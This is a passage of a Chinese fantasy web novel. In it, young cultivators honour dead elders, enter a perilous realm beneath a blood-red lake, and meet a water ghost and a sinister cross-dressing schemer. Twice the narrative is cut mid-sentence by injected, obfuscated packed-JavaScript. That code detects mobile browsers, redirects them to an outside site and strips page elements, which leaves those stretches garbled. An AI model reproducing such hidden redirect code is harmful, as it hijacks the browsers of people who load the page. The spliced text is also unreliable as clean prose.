这其实是两个坏消息。元脉会引来兽群,至于镇守的东西……不会是那条蛟龙吧?阿也顿觉不妙,追问道:“是什么?” “喂我一点残魂,我就告诉你。”黑焰这下学乖了,幽幽道,“要是全都给我,我就帮你把那东西宰了。” “别瞪我。”黑焰补充道,“别说你了,就连华重楼在那东西面前都不够看的。” 莫非华重楼的安排与那东西有关?电光石火间,这个念头击中阿也,“那……” “小烨!”门外传来熟悉的喊声。 黑焰立刻缩进识海,阿也赶忙收起石头,检查无误后,“唰”一下开门。 云欢被吓了一跳,神情不自然道:“敲门半天没人应,我还以为你不在呢。” 敲门有半天么?阿也轻咳一声,引她入座,“刚回来。你进雅契阁了吗?” “进了进了,谁知道不能传音啊,规矩真多。”云欢抱怨,“他们带我去了地字包间,环境是不错,但东西卖的也太贵了!劳费也高。” 阿也点点头,深以为然,“那个红泥塑像居然要五百金。” “是啊,最多三百金。”云欢想了想,“要不是产自赤州核心矿区,白送我我都不要。” “核心矿区有什么特别之处么?”阿也好奇地问。 “传说那里有座初始之城,是五州文明的发源地,曾有大能为此陨落,血肉浸染土地,所过之处,寸草不生。” 云欢一哂,“谁知道真的假的?不过那里怨气颇重倒是属实,长年阴风肆虐,连死物也会被侵蚀。看那塑像的样子,得有几十年了。” “原来如此。”阿也若有所思,说不定里头还真有点东西。 等等,第五层是天字包间,那第四层就是地字?忽地想起那道粗犷男声,以及她方才提到劳费……阿也试探道,“那你买什么了吗?” “东西都太贵了。”云欢一顿,“我什么都没买。”她又问,“你呢?” “我也什么都没买。”阿也擦了擦额头并不存在的汗水,“东西都太贵了。” 二人保持诡异的沉默,一同前往校场。 申时前一刻,凌栾操纵飞舟准时在校场降落,二人上船。 云欢张望一阵,直到下了飞舟,仍没见到华谏人影,遂问道:“华谏呢?” “他在清扫。”凌栾回答。 云欢与阿也相视一笑,果然一物降一物。 穿过暗道时,云欢瞥见冰层之下隐有图画,好奇道:“这些是什么?” “先辈们留下的痕迹。”凌栾抚过厚厚的坚冰,似乎在抚摸那段艰涩的时光,“当年阴山一劫,此处是伏击蛟龙之地,据点因此建立。” “伏击蛟龙?”云欢一愣,忽然激动起来,追问道,“那除了这些,还留有其他痕迹吗?” 见她眼眶红了,凌栾一怔,记起她曾提过师祖,恍然大悟,正色道,“有的,我带你去。” 推开石门,洞内摆设不变,却多了许多东西。 新被褥洗净晒过,松软地铺在榻上。灯里添过桐油,火光吞吐,将石洞照得亮如白昼。桌上放着云欢的点心盒,以及杏仁果脯之类的零嘴。除此之外,竟还摆了几盅薄酒。 华谏正在叠被褥,袖边卷起,露出有力的小臂。他恶声恶气道:“你们还知道回来?” 无人在意。凌栾走到衣柜旁,连敲三下石壁,机括凸起,她打开暗门,“都进来吧。” “你们!”华谏满脸怒气地追进门,待看清内里景象后,神色一滞,立刻肃正了。 暗室的三面墙壁挂满画像,整整齐齐,足有上百号人。男女老少皆是面带笑容,纸上却只分黑白两色,说不出的哀凉。 “都进来了?” 长桌尽头,凌栾正在添香。她取出三支线香点燃,合掌持于额头,恭敬地对东侧墙壁的四幅画像拜了三拜,插进香炉中。 前一幅空空如也,而后三副——阿也认出正是长生殿里接受青灯供奉之人,分别是仙风道骨的道士、慈眉善目的禅师以及庄重得体的妇人。 画像右下方以一行小字概括他们的生平。 “逍遥道长,华宗客座长老,于丁酉年壬子月癸已日,返真元。” “戒嗔禅师,华宗客座长老,于丁酉年壬子月癸已日,谢尘缘。” “惊柏散修,华宗客座长老,于丁酉年壬子月癸已日,归仙山。” 丁酉年壬子月癸已日,正是极境洞开三月之后,也是精锐势力深入腹地,伏击蛟龙之时。 “华宗弟子凌栾敬上。”凌栾敬完香,又额外点燃一根,对着惊柏散修的画像拜了拜。 这位妇人……阿也总觉得在哪里见过。不等想明白,见凌栾退后,她便上前。 “你尚未择师,不必拜。”凌栾制止她,又对华谏摇头,“你年初及冠,也不必拜。” “那这幅空白的画像是……”阿也问。 “芳长老。”凌栾回答,“当年师父亲自前往阴山,带回了重伤昏迷的芳长老。” 石磊当年也去了阴山?阿也心道,难怪会出手赠丹。 “当年华宗遇险,承蒙云间派师祖搭救,芳长老和我师父才得以幸存。”凌栾转向云欢,颔首道,“云间派的各位……在那边。” 西侧墙壁的前两行画像,清一色的女子或少女,美目盼兮,巧笑嫣然。画像前供桌干净整洁,显然常有人打理。 “多谢师姐替我们照料。”云欢深深鞠躬,被凌栾一把扶起。 “不必客气。”凌栾低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239270|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道,“若不是师祖舍命斩蛟,我们也活不到如今。” 云欢瞻仰那些笑意盈盈的面容,有的甚至比自己还小一些。明明是该像自己一样四处玩乐不知忧愁的年纪,却葬在这冰天雪地里。 一把擦去眼泪,云欢掏出剩下的两盒点心,启了盖,恭敬地放在桌上,哽咽道,“恕小辈不敬,以此供奉先辈。” 画像上的人温和地注视着后来者。 青烟袅袅,卷起点心的甜香,送往时光长河的彼岸。这里虽是旧址的祭堂,却是新址的长生殿,纪念逝者的无上荣光。 暗门旋转,四人再度回到石洞中。 察觉气氛低沉,凌栾走到桌前,揭开酒盅,利落地斟满一杯,高高举起,尽数洒在地面,以祭先辈。 酒香浓烈,她沉声道,“接下来我要讲的,事关各位生死。” 等到了,所谓华重楼的安排。阿也抬眼。 “元核现世后,我们一路追踪至阴山腹地,除却卓清歌的发钗,还发现了刚蜕下的蛟鳞残片。”凌栾道,“当年师祖斩蛟后,极境濒临崩溃,大家迅速撤离,尚未确认蛟龙之死。” “然,即便不死,也半残了。”凌栾目光灼灼,“但元核现世,说明极境正孕育新的元脉。若蛟龙借此复苏,又将是一场浩劫。” “于是长老们费尽心血,终于探明元脉位置。我们需得在十日之内,破坏元脉。”凌栾以手作刀,利落地斩下。 “就我们几个?”华谏挑眉。 “足够了。新生元脉十分脆弱,加上极境结界尚不稳固。若是师父他们前来,反而打草惊蛇。若是出现意外,我们还有后手。” 听起来像是必胜之局,虽然完全没提怎么对付蛟龙。阿也心道,华重楼的安排就这么简单?万一出了岔子,他就不怕白发人送黑发人? “什么后手?”话一出口,云欢察觉自己身份尴尬,连忙摆手,“我没有其它意思。” “师父说过,不到万不得已,不能采取后手,因此我也不知是什么。”凌栾坦诚以待。她斟满一杯,一口饮尽了。酒液沾湿她的唇瓣,如夜中伶花缀露,惊心动魄的瑰丽。 “现在退出还来得及。等喝下这杯酒,即如调弦拉弓,不得不发了。” “凌大小姐还是和以前一样不讲道理。”华谏率先打破沉默,收起折扇,倒满一杯。 “还是和以前一样挑剔。”凌栾回敬他一句,瞧出云欢意动,正要邀杯,又迟疑地顿在半空。 “我也要!”云欢快步上前,拿起酒坛,又回头看向阿也,“小烨你……” 就算是蛟龙,也不能妨碍她修魂补魄。阿也耸耸肩,走上前,接过云欢递来的酒。 四人高举杯盏,在半空碰响,声音清脆,在石洞中久久回荡。 “吱呀——” 身侧的人忽然一动,翻身坐起。影子被留夜的烛火投映在石壁上,飘忽如鬼魅。 被动作弄醒,云欢迷迷糊糊地睁眼,“唔……怎么了?” “我感觉……” 烛火熄灭了,低哑的声音融进无边黑暗。不知何时刮起大风,洞外传来呜呜声,仿佛无家可归的回魂在坟头哭号。 乌云之中,一轮新月正在缓缓升起。 月离于毕,俾滂沱矣。 “极境……开了。” 10. 极境 “轰隆——” 雷电击穿黑云,金光闪耀。湖水荡起浪潮,接二连三地扑向岸边,撞出绵密白沫。水汽漂浮着,粘稠得挥不开,好似无边沼泽。 “这是镜湖?那阴山在哪里?”云欢连说三遍,才从耳边呼啸的风声里听见自己的传音。 “都趴下!”凌栾大喊出声,四人当即抱头伏地。 地面摇动起来,浪潮撞出半人高的水花,一波波往里缩,岸边的水位回落,露出底下黑色的淤泥。 “咔咔咔——” 整座镜湖的水向中心汇聚,乘风拔高,形成水龙卷,再以肉眼可见的速度冻成一根通天冰柱。 水汽在表面凝结,绽开一朵朵幽蓝冰花,朝向乌云之中——仿佛一只只睁开的眼睛。 天似乎恼怒了。 雷电骤然狂暴,削去半边冰柱,白屑纷飞,而剩下的柱身缓缓扭动起来,仿佛舞姬折腰,迎合鼓点节奏而动,成功躲过雷电三番五次的轰击,闯进云层深处。 天无奈地散雷收云,降下一片熹微晨光,照亮了黑泥里破碎的织物和甲胄,以及零散的、发黄的碎骨。 “时机到了。” 凌栾挥手,召出一片绚烂光幕,抓住其中一缕红色,带出一条长绫,流光溢彩,仿佛由热烈朝霞织成,“这是我的本命契兵,赤练。” 赤练一现身,亲热地缠上主人腰间。凌栾无奈地摸了摸它,轻叱一声,“去——”它应声展开,在湖面凌空铺成一臂宽窄的路,指向通天冰柱。 “跟紧我。”凌栾领头带路。 脚感倒是和青兰长叶差不多。阿也心道,见前面云欢一晃,立刻伸手扶住,“小心。” “这湖……好吓人。”云欢缩起脖子。 阿也低头一瞧,不知何时湖底淤泥的颜色由黑转褐,再往前,过渡到鲜亮的红,仿佛新流出的血,极为不详。 “也不知道阴山在哪……”云欢嘀咕一句。 “阴山就在下面。”身后传来华谏的声音。 “下面?”云欢偷偷看了一眼,又迅速收回,战战兢兢道,“不会是要我们跳下去吧。” 阿也托住她,解释道:“应当是陨星落于阴山,镜湖由此而成。” “这样。”云欢点点头,盯着那滩鲜红的泥泞,打了个哆嗦,“那这样说……这里面岂不是埋着……” 一道尖锐的哨声打断了她。 凌栾扬手,赤练迅速收回,将四人包进圈内,躲在冰柱背后,元力荡漾开来,隐去气息。 一发信号弹冲上天空,霎时绽放,金色光点纷纷扬扬,拼成倒置的四方锥形。 这图案好像在哪里见过。阿也蹙眉。 数十道身影骑着灵鸟降落,皆是一身黑袍,头戴锥帽。风掀起领头人的黑色面纱,他向这边投来一眼。 阿也立即低头。 “他们在干嘛?”云欢传音道。 “不知。”凌栾沉声道,“注意隐匿气息。” 领头人指挥黑衣人排列成阵,随即扬袖。数十道黑气从他袖中钻出,将下属一一托起,浮在半空中。 座下灵鸟振翅,围绕冰柱上下翻飞,在听见口哨声后,高高飞起,一个俯冲,直直地朝冰柱撞去! “啊!”云欢捂住双眼。 哀鸣声中,破碎的霜花与尸骸一同坠落。血几乎涂满柱身,鲜红一片,只留下巴掌大小的一片雪白,格外显眼。 黑气朝雪白处涌去,激起一阵强烈的白光。待光散尽后,这一群行为诡异的人不见影踪。 “就这么进去了?”云欢先是吃惊,转而惋惜道:“不知是哪个门派的,要是能结识就好了,说不定日后还有合作的机会。” 回想领头人那张平凡的脸,阿也直觉那并非本相,不由心道,还是别组队了,多半是敌人。 “或许是为卓清歌一事而来?”华谏猜测。 “有可能,说不定是商会招募的修士。”云欢疑惑,“但为什么要带锥帽呢?又不是什么见不得人的事。” 这话一出,气氛登时凝重。 “我有预感。”华谏慢慢道,“他看见我们了。” 三人相视一眼,来者绝非善茬。 凌栾回头,面色铁青,“华谏,通知长老,事情有变。” 华谏抬指点在额角,颔首示意。 “有人盯上了元脉。”凌栾冷声道,“让长老加派增援,封锁穆州一带。” 绿光闪烁一阵后熄灭。华谏放下手,“长老回信,不日后会遣派增援,让我们先回据点等候。” “不行!一旦惊扰蛟龙,极境就会崩塌,到时候就来不及了!”凌栾猛地起身,“你们留在这里,我先进去!” “师姐干嘛急着进去?”云欢拉住她,“不要冲动!” “等不了了!我……”凌栾绷紧脊背,仿佛吃劲的弓弦,微微颤抖,“我来阴山其实是……” 眼前的天地被这根冰柱撑开,终于露出隐藏多年、自己也寻找多年的另一个世界。 搭箭上弦,她十分平静,“我娘就死在这里。” 原来是她。阿也恍然大悟,难怪第一眼见到祭堂里惊柏散修的画像,就觉得眼熟,分明与芳芪书房中那副黑白的小像如出一辙—— 隔着一缕青烟,画中人和画外人长着相似的面容。 “我来这里,就是想知道当年我娘为什么要抛下我一个人,来到这个破地方。”凌栾一字一顿,“她舍身为百姓守住这里,我绝不允许有人暗中捣鬼!” 云欢松开她的衣角,毅然道:“要去就一起去!” 反正早去晚去都得去。阿也点头。 “你们不必……”凌栾错愕。 “喝了酒,自然是一伙的。”华谏不以为意,“反正出了事,推到凌大小姐你头上便是。” 片刻后,绷紧的弦松弛了。凌栾索性应下,“那就错开进。云欢跟着我,华烨跟着华谏。”说罢,她又低声道,“现在退出还来得及。” 三人分成两组,以此作为回答。 凌栾深吸一口气,灌入全部元力。赤练红光大盛,劈开烈烈寒风,托举四人向冰柱靠近。 血染的冰晶一片压着一片,沿着相同方向围绕中轴线螺旋排列,仿佛整齐排列的蛇鳞。 盯着越来越近的那一片空白,阿也忽然觉得领头人的所作所为太过明显了,简直就像是特意做给他们看的,便问道:“之前师姐是如何进去的?” “此前我们追到此处,在岸边发现卓清歌的发钗。师姐在探查时无意跌入水中,而湖水却突然分开,让出一条路来。” 凌栾一顿,“在师姐进去三日后,我曾试着走进水中,却并无反应。师父推测是极境尚不稳定,结界随时变化,因此入口也在改变。” 阿也皱眉,正因为如此,所以那群人才来给他们指路?就这么想引他们进去?思及此,她开始犹豫要不要阻止这次行动。 “和现下情况完全不同。”华谏思索,“那些人……有些奇怪。” “要按他们的方式进去吗?”云欢问。 “在进入极境前,一切都是未知数。”凌栾起身,走在最前方,“实在太过危险,我一人进去便是,你们先回据点。” “我跟你一起去。”云欢拽住凌栾衣角,一副你不答应我就不松手的阵势,“明明刚刚都说好了,我们一组的。” “我说,凌大小姐,”华谏站起身来,双手环胸,挑眉道,“你不会是想把功劳都揽在自己身上吧?” “你……” “不如我和师兄先进去吧。”阿也无奈开口,“没有赤练,我们都会掉下去。”她先进去,也好有个照应。 “那就这样说定了。”华谏果断拦在阿也身前,“华烨跟着我。赤练留到最后,你同云欢一道进去。”他无视阿也的白眼,朝凌栾扬了扬下巴。 罕见的,凌栾没跟他计较,而是微微颔首,叮嘱道,“小心为上。” “留着你的温情给席子瑞吧。”华谏抛下一句,躲开凌栾拍来的一掌,脚尖轻点数下,直直撞上那处,身影被白光吞没。 半柱香后,他的声音从冰柱内里传来,断断续续,“……烨……华烨……” “那我进去了。”阿也起身。 “一定要小心。”凌栾再次叮嘱。 阿也点头,后退数步,助跑起跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239271|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰柱的幽蓝在眼前无限扩大,她一掌拍上空白处,瞬间被白光覆盖,仿佛被一团柔软的丝绸包裹,渐渐收紧,喘不过气,眼冒金星。 忽然,像被针扎了一下,阿也从眩晕中清醒,睁开眼,迎接她的是铺天盖地的黑水。 “咕噜!”她猝不及防地吞进一口,酸涩发苦,像芳芪陶炉里那些黏糊糊的药汁,一路烧进肺腑。 奇怪,进了结界,华谏的声音反而更加遥远,即便没有任何动作,身体仍在缓慢下沉。阿也屏住呼吸,传音道,“华谏?” “噗通”一声,像是重物跳进水中。他的呼唤骤然清晰,“华烨!” 无数绿色光点在黑水里亮起,仿佛成千上万尾游鱼,簇拥到身前,围绕自己打旋。 光点之中,华谏朝自己伸出手,琥珀色的眼眸在绿光里散发出澎湃的生命力,长发漫漫犹如肆意生长的海藻。 “抓住我!”识海里响起他焦急的声音。 “你……”阿也下意识张口,吐出一连串水泡,折射出成百上千个少年,于是晃了下神,忘了自己原本想说什么,奋力抓住他的手。 华谏拉着她,向上方游去。越往上,四周越明亮,有红光隐约从上方透出来。 “咚、咚、咚……”阿也听见自己加快的心跳声,意识回笼。 不知何时,水体颜色已由黑色转为褐色,她合拢另一手的五指,划过水流,眼尖地辨出其中似有若无的鲜红。 一旁的华谏仍不知疲倦地划动手脚,愣愣地向上游动,像是被火魇住的飞蛾,眼中只有那团炙热。 不对。阿也咬牙,这颜色与湖底淤泥一致,再往上,除了如山尸骨,还能有什么好东西? “极境以天为地,以地为天,颠倒水火。”电光石火间,席子瑞的话在脑海里响起。 “华谏!”阿也拽住华谏,调动所有元力,在链接中大喊出声,“往下走!” 华谏一滞,动作慢了下来。他迟疑地转头,看向阿也,眼神逐渐清明,难得地没有任何质疑,直接调整身形冲向下方。 幸好他神智尚存。阿也刚放下心,一口气又卡在喉头,不上不下。 她低头,一缕白丝亲昵地勾在腰间,顺势往上,缠住脖颈,冰凉爽滑,而更深处,鬼影游移,瞬息间逼近。 太近了,近到阿也看清那张脸上的所有细节:脸皮泡得青白发皱,耷拉在鼓胀的眼珠旁。竖直的鼻骨断成两截,一节朝天,一节朝内,斜插进干瘪的嘴里,钉住半截舌头。 鸠盘荼,死者怨气所化,喜食生魂,啖人精气,不知吃过多少活物,才能养到这么大—— 得想办法差开华谏。 思绪陡转间,寒气沿着脖颈窜进四肢百骸,泛起火辣辣的疼痛。白霜在鼻尖凝结,开出一朵小小冰花,晶莹剔透。 睫羽慢慢变沉,四肢逐渐僵硬,阿也用尽最后一丝气力,松开华谏的手,踹了他一脚。 “桀桀——”鸠盘荼咧嘴一笑,露出枯黄的牙床。 水流剧烈翻滚犹如沸腾,尖锐的笑声里,白丝在水中炸开,仿佛漫天蛛网,倏然绽放。 “华烨!” 阿也应声低头,视野被蜂拥而来的白丝切碎,脚下金光盛放,勾勒出苍山的轮廓,隐有绿影婆娑,远水浩浩汤汤。 无边无际的寒冷漫过头顶,她闭上双眼,任凭自己被白丝拖入暗流深处,耳畔歇斯底里的呼喊被消解,化作远去的闷响。 “咔咔咔——” 仿佛巨齿咬合的声响里,一道裂缝自上而下地贯穿冰柱,以肉眼可见的速度扩大。冰柱在风中摇摇欲坠。 “该死,极境动荡了!”凌栾咬紧牙关,牢牢护住云欢,“我们一起进去!” 赤练狂舞,击碎掉落的冰块。云欢紧紧抓住凌栾的手,亦步亦趋,在被白光完全笼罩前,突然鬼使神差地向下望了一眼。 冰柱的碎片,或大或小,或重或轻,全都砸进镜湖,被那滩鲜红的泥泞吞没,不起一丝波澜。 云欢忍不住打了个哆嗦。 远远看去,这镜湖就像洪荒凶兽张开的血盆大口,不知内里藏着什么,但一靠近,就能闻到里面的腥风血雨。 11. 古红 回到熟悉的梦魇。 天地混成一滩血红,伥鬼涉水而来,囚铃锒铛,空洞的眼里鬼火闪动,嘴唇开合,吐出艰涩的呓语。 有呼唤声从远处传来。阿也强迫自己从脚下移开眼,去听那声音,“……姐姐!” 残阳在这一声中猝然坍塌,万千碎片将她裹挟,齐齐跌入漆黑的漩涡—— 她下意识抬头,撞上眼前人的下颌。 “啊!”他顿时吃痛,张嘴说了什么,但与残留的呓语混在一起,钻进耳里,一团湿热的潮气。 ……怎么是你。阿也大口喘息。 “华烨!”华谏的声音听起来陌生又熟悉,“你还好吗?” “我没事。”眼前残影散去,阿也看清他的模样,“你怎么……” 衣袍湿透了,紧紧贴在身上,勾勒出宽肩窄腰,偏偏腰侧赫然一个脚印,极其显眼。 “别看了,有什么好看的?”华谏揉了揉腰腹,小声抱怨,“下手可真够重的。” 气息擦过鼻尖,浅淡的草木香。 阿也不着痕迹地拉开距离,环顾四周,洞穴昏暗,忽有水滴落,打在发顶,啪嗒一声。她瞬间清醒,“这里是极境?” 华谏拧出衣角的泥水,闷闷道:“这里是鸠盘荼的老巢。” “你也被抓住了?”阿也疑惑,那一脚可是用尽了她全身力气。 华谏抿唇,好一会儿才悻悻开口,“幸亏鸠盘荼正在结茧,不然你死定了。” “结茧?”等等,阿也灵光一闪,该不会是华谏为了救华烨勇闯老巢吧?真是感人的兄妹情—— 但他怎么知道华烨的位置? 记起黑水里如影随形的绿光游鱼,阿也眉头一皱,“你在我身上种了捕形印?” “……没有!”华谏偏过头,“此地不宜久留,等出去后再说。” 阿也避开他伸来的手,强撑石壁起身。 “往这边走。”华谏也不强求,面色讪讪地收回了手,领先她半步带路,时不时回头看看,确定她还在,“右拐。” 脚步声一前一后地错开。 华谏何时种的印?阿也仔细回想。除去必要的活动,平日里别说肢体接触,连见面的次数一只手都数得过来,他不可能有机会…… 那就是在更早之前?阿也骤然沉眸,倘若在她醒来之前就已种印,那岂不是这三年的行踪都在他眼皮子底下? 手不动声色地贴上腿侧,隔着袖袍扣住坚硬。 华谏对暗藏的危机一无所知,扭头道:“出口在这。” 二人走出洞口,耳目一新。 太阳挂在天际,光晕柔和,却没什么温度,像贴上的挂画一般。四周古木参天,绿荫因浸着潮湿的水汽,略显阴冷。风捎来清脆的鸟鸣,树叶沙沙作响,更显幽静。 华谏转身与她对视,阿也不甘示弱地回看。 “你怎么知道出口在下面?” “你什么时候给我种的印?” 两人异口同声,大眼瞪小眼。 “你先说!” “你先说!” 几乎又是同时,二人互瞪一眼,双双扭头,憋着一股劲,赌谁先说话。 不知过了多久,华谏主动认输。他嘟囔一句:“好男不与女斗。”主动承认道:“是……很久之前种下的。” “有多久?”阿也不依不饶。 华谏本想蒙混过关,被她牢牢盯住,只得如实道来:“在你醒来前不久。”他强调道:“是担心你出意外才种的。” “有劳费心,不过现在可以解了。”阿也扬起下巴。 “你以为我不想解?要不是你掉进水里,我都忘了还有这么个印。”华谏冷笑。 “这不是还记得么?”阿也回呛。 没想到实力不怎么样,力气倒大得很。兀地想起那一脚,腰腹又开始隐隐作痛。算了,好男不与女斗,他缓和语气,“你没发现么?我们与凌栾她们断开链接了。” 阿也闻言一试,果然,识海中的传音链接似乎受到干扰,团成死结,无法调动元力。 冰柱通向天幕,但湖底才是极境真正的入口。阿也理清思路,“所以……甚至不知师姐她们有没有进来?” 华谏轻哼一声,“还算有脑子。” 这下麻烦了。传音失效,而知晓元脉位置的人不知所踪。阿也瞥了眼华谏,早知道有捕形印,就该和凌栾或云欢一队,而不是跟这个愣头青在这面面相觑。 偏偏这愣头青还没什么眼力,凑上来问,“你还没回答我的问题,你怎么知道出口在湖底?” “我猜的。”阿也不耐烦道,话一出口,立刻反应过来,坏了,华烨的态度不会如此恶劣。她连忙补救,“是席师兄告诉我的。极境以天为地,以地为天,所以湖底才是真正的入口。” 华谏一愣,又笑出声来,好似扳回一城,“你说席子瑞?你说他连夜赶回来就是为了跟你说这些?” “连夜赶回来?”阿也一怔。 “不然呢?”华谏挖苦道,“他连测赋仪式的召信都没回。他在哪告诉你这些?在梦里?” 阿也沉默,她自认为和席子瑞不过点头之交,因此总觉得这热切之中,还有别的东西。她慢慢道,“或许是为了凌师姐吧。” 听到凌栾二字,华谏瞬间哑火,片刻后开口:“得先找到她们。别看我,我只说这里有禁制,解不了印,没说不能找人。” 阿也深吸一口气,强忍给他两拳的冲动。 华谏见此面露快色,利落地抬起五指,念出咒语,绿光从四面飘来,如萤虫聚集。 阿也第一次看见他的显化命格。 点点绿光中,他托起一株幼树的虚影,晶莹剔透,色如翡翠。彼一出现,周围古树似乎都重获新生,抽枝散叶,焕发出盎然生机。 牵引天地精华……啧,这天赋。阿也眯起眼,隐约觉得在哪见过这株幼树,又不免奇怪,华重楼属雷命格,华谏怎么会是精纯木命格? 难道与母亲有关?阿也心念一动,或许华烨的命格同样属木,就是不知有没有能见到她命格显化的那天。 “木译。”华谏轻轻吐出两字,抚过幼树,播撒出无数光点,落在枝头及地上的茸茸苔藓间。 “跟着我。”他的瞳仁被绿色浸透了,泛起潋滟水光,配上微红的唇瓣、湿淋淋的长发与贴身的青袍,显出一种独特的吸引力—— 仿佛嫩芽沾露,在清风明月里摇曳生姿,让人忍不住想要……摧折。 这都是些什么乱七八糟的!阿也用力揉了揉脸,撇去杂念,跟上华谏。 “草木有灵,借助命格,我能与它们沟通。”华谏简要解释后,指向左前方,“它们说,五日前,这里有一女子经过。” 五日前?阿也皱眉,“是追查发钗下落的师姐?” “更可能是黑衣人。此处草木灵智不高,记不得太细,只道往前走。”华谏瞥一眼阿也,“伸手。” 阿也眨了眨眼,乖乖伸出了手。 “拿好,这是我的本命契兵,别弄坏了。” 手一沉,待华谏撤开衣袖,露出安然躺着的窄扇,象牙白骨,青金扇面,正是他随身不离的那把。 “给我?”阿也不解。给她干什么? “拿着防身。”华谏一脸嫌弃,“你元力低微,此处又有禁制加身,此扇可保你无虞。” 不等阿也开口,连扇带手被推了回来,听他道:“起初种印是因你独居小楼,担心无人照应。自你醒后我从未用过,直到你方才落水,情急之下才……等出去后自会解开。” 一大段话说的又急又快,仿佛有人追在后面撵似的。 还算有诚意。阿也点点头:“谢谢兄长。” “说了多少遍,在外不要叫我兄长!”华谏瞪她一眼,“给我拿好,千万别弄坏了,这可是我娘留给我的。” 你娘不就是我娘?阿也心道,见他神色严肃,知趣地点头,许诺道:“扇在人在。” 华谏这才缓和脸色,从幼树上摘下一片嫩叶,放在阿也掌心,冷声道:“别动。” 一根绿丝从扇钉钻出来,在她指缝间游移,凉飕飕的。等寻到那片嫩叶,仿佛蚕啃噬桑叶般一口口吃得精光,再慢吞吞地缠上手腕。 “扇灵暂且认你为主,保你无虞。” “多谢兄……”接到他的眼刀,阿也立即改口,“师兄。” 二人并肩向前,拐过树林,水声变得明显,再往深处,发现山崖间竟藏着一片滩涂。 镜湖在此重现,不过是缩小版。湖水轻柔地扑上岸边,卷起细沙,退去时留下层层波纹,周而复始。 不远处,有一女坐在岸边礁石上,正在濯足。她背对二人,身披黑袍,长发及腰,脚尖扬起水花时,发出银铃般的笑声。 这么冷的天还玩水,看起来不太正常。阿也问,“你确定那是师姐?” “我入门时,师姐已驻扎阴山据点数年,”华谏摇头,“我从未见过本人,因此不能确定。” “那师姐姓甚名谁?”阿也问。 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“请教甘棠姑娘在何处见过这令牌?”华谏彬彬有礼,“能否带我前去?” 女子眼一亮,兴高采烈地拍手,沿岸向西边跑去,脚踝上细窄的银链跳动,丁零作响。她身影很快没入丛林,只在滩涂上留下一串脚印。 对身后比了个手势,华谏迅速跟上。 见机行事?阿也拨开草叶,一阵无语,这人明显不对劲你还要跟着?果然是个愣头青。 踏上礁石,阿也闻到咸腥水气里一点异香,低头一瞧。石缝里的东西闪闪发亮,薄薄一层,她拿小石子一砸,当即碎成齑粉。 吹开粉末,露出一团堆叠的囊袋,湿漉漉的,破口还残留几粒圆润黑籽,被阳光晒到,迅速干瘪下去。 只一眼,阿也认出这是刚孵化过的卵。 她猛地回头,华谏已失去踪迹。水浪翻涌,洗去滩上的脚印。 急速在林间穿行,阿也循着扇钉的指引追去。忽有疾风,吹过树梢,发出急促哨声,间或几声大笑——有人来了。 摸不清对方实力,阿也决定先示弱,待在原地,“是谁!” 面前光线扭曲,一团黑色雾气现形。七八个黑衣人迈出来,将阿也团团包围。 “怎能对小姐如此粗鲁?”轻飘飘的一声。 众人整齐有序地后退,一名紫衣女子款款上前,浓妆艳抹,身形纤瘦,举手投足间颇有弱柳扶风之态。 “小生古红,见过小姐。”古红款款施礼,发髻边似乎有东西在随声而动。 小生?阿也的视线落在他喉间明显的凸起上,一阵恶寒。 话没说完,一条三寸长的绿虫恰好爬出古红发髻,一节节蠕动身体,钻进鬓发,又耷拉出半截,好似一根翠玉步摇。 阿也忍住恶心,环视一圈,左二右二后三,皆是修士,虽说修为不高,但加上这个男扮女装的东西……有点棘手。 不如先搞清来意。她怯生生道:“不知公子有何事?” “有道是惊鸿一瞥,小姐十分合小生眼缘,因此备了份见面礼,还望小姐莫要嫌弃。”古红使了个眼色,身后黑衣人呈上一个暗色布袋。 无事献殷勤,非奸即盗。阿也察觉古红盯着自己腰间的弟子令牌,侧身掩住,以袖捂脸,羞怯道:“怎敢劳烦公子破费?” “一点心意罢了,小姐不妨猜猜是什么。” 说话间,布袋逼到面前,这是非猜不可了。 “多谢公子。”她施过礼,探出指尖,捏住布袋系绳,一路往下摸去,质地坚硬,纹路细腻。 只一下,阿也猜出是什么—— 是那日她在拍卖会上佩戴的银制面具。 电光石火间,四方锥形的玉块和镜湖前的信号弹图案缓缓重合。商会、雅契阁、阴山、元脉……这些词在脑海里搅成一团,不分头尾。 阿也直觉这人与卓清歌一事有关,小声道:“恕在下愚笨,猜不出此物。” “真是可惜。”古红摇头,黑衣人散开,让出一条路,“既然小姐猜不到,那便无缘了。” “多谢公子。”阿也不忘装到底,畏畏缩缩地走向出口,同时右手探入袖中,抓住折扇。 擦肩而过之际。 “一千金。” 衣衫之下,肌肉骤然绷紧! “那可是件好东西。”古红微微一笑,“可惜我没有小姐那样的魄力,只好割爱了。” 12. 入局 “这三年间陆续有人在港口失踪,都是穷苦出身的少女。”电光石火间,凌栾的话在脑海里响起。 “公子可是遇到什么困难?”阿也弱弱道,“是要找我……借钱吗?” 古红一噎,由上到下仔细审遍阿也每一处,忽然有了笑意,“我正有此意,姑娘手头可宽裕?” 有戏。阿也紧咬下唇,悲戚道:“我自幼丧母,家境贫寒。此番是听说山中有宝藏,这才想着凭借运气闯一闯,怕是没有多余的钱能借给公子。” 见她穿着简朴,素面朝天,的确没什么油水可捞的模样。古红沉思片刻,反倒抚掌而笑,左右各有两个黑衣人上前,将阿也夹持。 上钩了。阿也惊慌道:“公子这是做什么?” 